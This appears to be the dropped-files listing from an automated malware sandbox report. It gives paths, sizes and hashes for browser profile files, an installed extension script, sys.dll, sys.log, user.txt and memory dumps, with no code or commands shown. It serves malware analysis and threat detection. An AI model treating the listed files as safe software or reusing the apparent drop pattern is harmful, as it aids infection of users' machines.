SHA512 396e3e6a4f4d2b6cdab94a4fc9fcd07b5b3b76f067ce5666b89e9fb8d48b00e16fe2a2e9189c9d96e3f8d9d2f1a719132c8694f2859c94a22a5b7ecb4e74a3fc
TLSH
T1A3D02B343300650CC89070321C52B249532158300440420000D0B158CC7168102370AE
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 a44895ca802cd459073894d3a02a9b195fa074a42d93dab54e5f1aeb3b298893
MD5 4de35f46ca61ac6a237c7ef11f3526cd
SHA1 faa8016b3a41f80bdf0cd474094fe9ee02a896df
SHA512 aef4da51140cd2e0ee9664af184385144331eedb78ed5fbf83e70222661fd9d71ade56bfe67bc490324b1a527e3c4c9ebf2950ab7b57e5fda4308105b09eacaa
TLSH
T16871639503F64BC2D71DEE71D2DE1E9F3BB708AA41076E1041F0ACB85A96F75B209528
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a9859.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a9859.TMP
Size 3KB
SHA256 7d90c8d3cae0ba286ef45d4e28460f4a063eba97a0507749514ecc46f3563176
MD5 71093191c34a360bd53277efe52b7c54
SHA1 084e8946ec00294282fda9b971bcbb4bd5d2974e
SHA512 90558a26ae79cfdb75b41aab8ab66f7f97d7b89555e0170cad8fec8898fb473bff58f73ef95fa8b44f49000f71fd9c5f88151702fe2de0f0a329b5807164f570
TLSH
T1F96150A903F60BC2D75DEEB1D2DE1E9F37B748A951076E0040F0ACB85AC6F75B209528
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

ca30622f-04ab-48ee-8a07-c8292e1be8f6.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\ca30622f-04ab-48ee-8a07-c8292e1be8f6.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 ef3af1b84b0d827f117db4c03ae3ec2aea80be6db1514c5edeb0b13bd43c447a
MD5 a2deb6fb06f9f9272add8570d54bcf15
SHA1 c9224eca3ccff2a0d5d22f6f33e81b4774725b13
SHA512 fbc6089d790d5751a70ca04d81cad2d22ec045ad9ee197f3e85b296e1cdcf2369d6482b42fcbe5cc579c71e5822e17f43bfa34663cf20337983cab08386dec31
SSDEEP 192:sxRUR3yM/jK1Ml8wC0/fjsXOZx78wzoA8p4Z/g6+WNIYtZIEOwzl9Wq1GsIgtJ:sxRUv80/fjsX8x4pk/5IsiEOaXf3
TLSH
T1D262DA06A9289D37DCDBD20DFA557F53D6F81573A2941E44AAFCCA0C01E6ADD221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 d11129803af5a6b7fe5d23a76c479bd4fa563af9a9be72eecbd8d6e76555b5f7
MD5 aaeab414b3c44384e8656cd97d3637a0
SHA1 9d0949cb07e3fb042ac68abbaf0588d54800b499
SHA512 092a4e9d684f7d6167fbdf14df4acb895a6178235c0bdcffde6216e4117e8dc9954222efd2d81033a4b4b0a7055147f74727deb13a0cf4d8dd8c5646e5ddc8bb
SSDEEP 192:sxR3R3yM/jK1Ml8wC0/fjseJOZx78wzoA8p4Z/g6+WNIYtZIEOwzl9Wq1GsIgDla:sxR3v80/fjsO8x4pk/5IsiEOaXfE
TLSH
T1B262DA06A9289D37DCDBD21DFA517F53D6F8147392941E44AAFC8B0C05E6ADD221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 29a7c7883f47fa43de2e3555eab6f98140e4aeebdde9ea530f557773e3891eef
MD5 65ef4c4f86adc4eaed16b6b9930a65a9
SHA1 d7b5204105c3e03fa5d37ce52af711d246806ffe
SHA512 3137e9d0e3b4ef10bc36a8dbfd78234f1496a92598a8d06e5419caa75f62b0e3fa5e8a4c3b2b6b8480b9e411b68f7f6e71fa4e04854d447c2a43f20f576c8b81
SSDEEP 768:dOwS1wBzwRbU7pLuL761wiWg1zwsfMZwK8F1+UoAYDCx9Tuqh0VfUC9xbog/OV9C:dOwS1wBzwRbYE761wiWg1zwsfMZwKu1S
TLSH
T112E2EB3B684CCB7F4F804A9CAC297E9B6DE801CF56D8C95447FA880C03C66EB551A5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 2cd19c8bfb610371e821200fe76dc5354353a673e2555137d800c17733019bd3
MD5 b36e160f8e7c6e20b31ad93a093fd7ad
SHA1 a01164de4b1c6eadb8c68eba9df98e5564c45dd5
SHA512 f003c3ab8fd7c5c1574bab420789e3d95d76b1c29cdf7b0f836d7ba27ed74c5f6cd33ba6739af904bfbc01203c10a97b7661bfe53a53888511f52782cc46f720
SSDEEP 96:KRtaTHd3LfWTI2gPfK4Ogxfc1NAj70H2r6WwYY+Wo9lg2+K4Lgk+ce2VUGklQUuI:CtaTHd3LeTInPlOgxU1NAj70H2r6WwYF
TLSH
T1ED918846B13B0280787E654990E8995BC6C1B4E3311DE82B3FAD05E35F2BE429EFD4D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e91ce5a8-4514-48bb-a528-8c640058d392.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\e91ce5a8-4514-48bb-a528-8c640058d392.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 32KB
SHA256 18c182d5f1641488ea8a90cabe3f4a07207d640a0f966c67592dafa7940f627e
MD5 21479ecddff4302271306e7714c47930
SHA1 4097b2b5d70c2320676e4bc73d937031becfb1f1
SHA512 6521f009171329081c268a0233d08701d33a3638c93d297ac54f704562f6f5c3241baa8df016ef6569481ade8c450066756807e7fdacc65241f73b916ec0030e
SSDEEP 768:v+j+9E3rU8w4hY5Iz0gu37BtAwjUSzFwTUP:v99E3oj4P0guoTBQP
TLSH
T158E29F31A8559D279CEB97D9B35A3783AFB05163C4C92F88C8E96F0D00C725D274792B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 109ad3d59119c80c76cbd7870c5d99f9d1e60e4ab981c6833282803d723b102c
MD5 092e72fb8790e37bb2d16e48addbb037
SHA1 efbe389a3d975af01a1190701a76ef25e541d40b
SHA512 a46535e088c6f5430819399ea67d5ba956d30c01c5f2cef249def1d44fb925bcdfdd561ce4e85537e63b241abe4af97a05d6a07da4abcd9e95a9578561d94f18
SSDEEP 768:ttrv+4UNbdu3n8w4hY5Iz0gu37BtAwjUSzFwTUU:ttbsbw3nj4P0guoTBQU
TLSH
T16C03BF32A8589D33ACFB9295B25A3A83BFB45163C4C91F98D8E91B0D058715D270BD37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 5788baac0f0ad207a89a6b44819a37a4ee8e1b5c8b884e6804a75585bb1ee0ff
MD5 9c0258f2244acdf4907586335fbf1ce0
SHA1 17e028a23f46164c3ee909ed8f660dcdeba16b2e
SHA512 620f4cefbd834608ecfe6e21913c5d276ebcf4ca5fd09b6cb3a98900c75f34dd9d68090ac5541be2ccd179230372923104f762f5c1178e4bec3f8c53c91262e0
SSDEEP 768:xiFwj+9m3QwgkU8aN1Y5Iz0/u37BtAwjUSzFwTUP:xy9m3itNr0/uoTBQP
TLSH
T125F28E329C858D67ECEB87D9F75A3782DFF041A3C4866E98D9E85E0D008729D174BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 9515f4cd0f0d7427d724c02669c5b485bb3311e75f0de951112ca5d001a91d03
MD5 093bcc23b1c18f2a9e163e23e8ad7040
SHA1 982e65a83770f5ebecf5a66f634616dc7eb4c260
SHA512 c24fb59ed37996172a9afb92248debbc1a2910b6447e5bd6675d15451695293851ca2cd99b2f589f452038e1b051531dcf3936aa70a66f54e1220eae2fd9ca9e
SSDEEP 768:CIrv+4UNbdX3FUHT4hY53u37BtAwjUSzZ6UikB+:CIbsbR3F4T4CuoTrUJI
TLSH
T18C03BF32A84499379CE7D28AB24B7A43BFB45163C5C91F94C8ED2B0D828B15D2347E67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 f7f65ac32a44bb54185f7891eb108b21d3a39bc17368da457e05cf04a4703c45
MD5 e1c4734ef19c6c9be91fe2c1f0fdcd99
SHA1 1d22d9c731c7e51927bba8612fc5b8bb1546c922
SHA512 85abcbef44065b6425b22560129bc594ca7185aae108ff514276d33eaede443069f8c6df87df1791dfba06c2d3e4ba1b4ab966c2aca6a5304b2ff016ef604e0e
SSDEEP 768:t6rv+4UNbdu3r8w4hY5Iz08u37BtAwjUSzFwTUU:t6bsbw3rj4P08uoTBQU
TLSH
T19F03B032A8549D33ACFB9295F24A3B83BFB41163C4C91F94D8E95B0D058716D270BD27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e64c0492-c78e-4893-b939-8c379654dcdf.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\e64c0492-c78e-4893-b939-8c379654dcdf.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 bf1aa6ac9ad2aba7c10a908fe04522937f89215eed432273fe494d0b6a827426
MD5 367cd011c44fd63e1fa95cab22ac2c26
SHA1 59a7c8c8f0ac1bb652ca5e01e984da95b18b5ccd
SHA512 de6a8bd27da753255d813fdeca4dff39da83e3c7818987928aa2797ea2ee27db127a417347d6005e5fb7f737cf2ef897c49d50d196ede66a0e35592a1e44afa7
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir828_1520324729\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp.pdf

Path C:\Users\Admin\AppData\Local\Temp\temp.pdf
Size 103KB
SHA256 6da89adfee525a30f0734183546029fa32c905836f23e01368302afdd16df453
MD5 b2c42b0aedf5ed424b4700dd3a8c9cc6
SHA1 75d2af2664f9537318b2fe115bb7fd414d175162
SHA512 b83968dac4d32db52cf0feba554cba80ffdb5336b4d5a0d570a6c7db98dcf55ad8941fa286747d0dbe7869db8f24ec49f525c673fd80c8d1f382aff3b6ac9d7d
SSDEEP 1536:4McEK8SZ90XM1PtHpPoIzFpBiuEUagFumJ6FgMtiROBkFTK6dfHSuXG6t:4JEeZ90XepAsXvJ6ryNdfyuXp
TLSH
T104A312C3FDA67BCDDBE8B87847E8085688110187448EE67B741DC8D6AF91E815B132A9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sys.dll

Path C:\Users\Admin\AppData\Local\sys.dll
Size 552KB
SHA256 2e91ff2b9b334c4673f176d9e0628198867a5d564070369173db522052fc9448
MD5 c48ab8770c69405dbc37c0c0d4bba886
SHA1 5da74291740d7e8eb91d85ae4fb6c4d3cb2a6cb0
SHA512 25657d2a0129346ebfebfca01382e8a028777ed5e674fc69d9025756287be10c39a06e89fb991126b48f6a01c14b15d9feb725f8381f45c7f20f2bf8e568ff46
SSDEEP 12288:Anxy7lQrioKNigMqsJBTDa/3RrWeXsLaVMBP26:Axy7laIsbaPRr1XsL+MB
TLSH
T115C43944A29103BEC456C3B0C62679BDF07B7E564F759A4BAF46B6205F33A10DA39F20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sys.log

Path C:\Users\Admin\AppData\Local\sys.log
Size 552KB
SHA256 9f71d2f0aa34188e777aeb1bf0f85c1a3056d8619b8fd17d9cf89ba089448e1b
MD5 3f3b8a83044554de67a8ee68aa047d93
SHA1 a8a4efd72cb76b83054f857f47e2e84b59313faa
SHA512 2639b095db6965e6cbb0322da57febb3a706c8871e4de4769ff2e8fcdd52e51a7636d03bcbd8aeb2fb6737780ce8f5ee03577995a1f74fb2e8189388880636e5
SSDEEP 12288:tFq7OXF4xzQ1Q9M+rOQEqcW1ddfyxFguGqZkdnoD8oqavdGRGFtF421s9ySf:bq7OXF4m1GMMOA1ByxFgckNPoqavkRyI
TLSH
T1F3C4234433A38F88B16C26295F95AFEB1D7DA75FE0048F38634AA899C981135904E7FC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

user.txt

Path C:\Users\Admin\AppData\Local\user.txt
Size 344B
SHA256 39b74d30c854c5a8327b2bbce9a9b575def966120d685f291d55e393af35efa5
MD5 3c11ec2eb1001f877541dfde9aed39e6
SHA1 722340b335ad0668b645a368e6add181080c8ada
SHA512 f81d027242e57335102a608020e3c773e27afd64b37150160c2fb8da5a092cb7bd271637eb1ea53019511654d9b54f749b6d3f357a02565b59df359d6e1249aa
TLSH
T101E0C0DEA569DC5A29CD671E0DC18DC4C4C0B04B3552D1D63BDC8E186220FED21E8156
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5540-2-0x00007FFF0450F000-0x00007FFF04510000-memory.dmp

Download

memory/5540-11-0x00007FFF04380000-0x00007FFF04D24000-memory.dmp

Download

memory/5540-10-0x00007FFF04380000-0x00007FFF04D24000-memory.dmp

Download

memory/5540-8-0x00007FFF04380000-0x00007FFF04D24000-memory.dmp

Download

memory/5540-7-0x00007FFF04380000-0x00007FFF04D24000-memory.dmp

Download

memory/5540-6-0x0000026C627C0000-0x0000026C627E2000-memory.dmp

Download

memory/5540-3-0x00007FFF04380000-0x00007FFF04D24000-memory.dmp

Download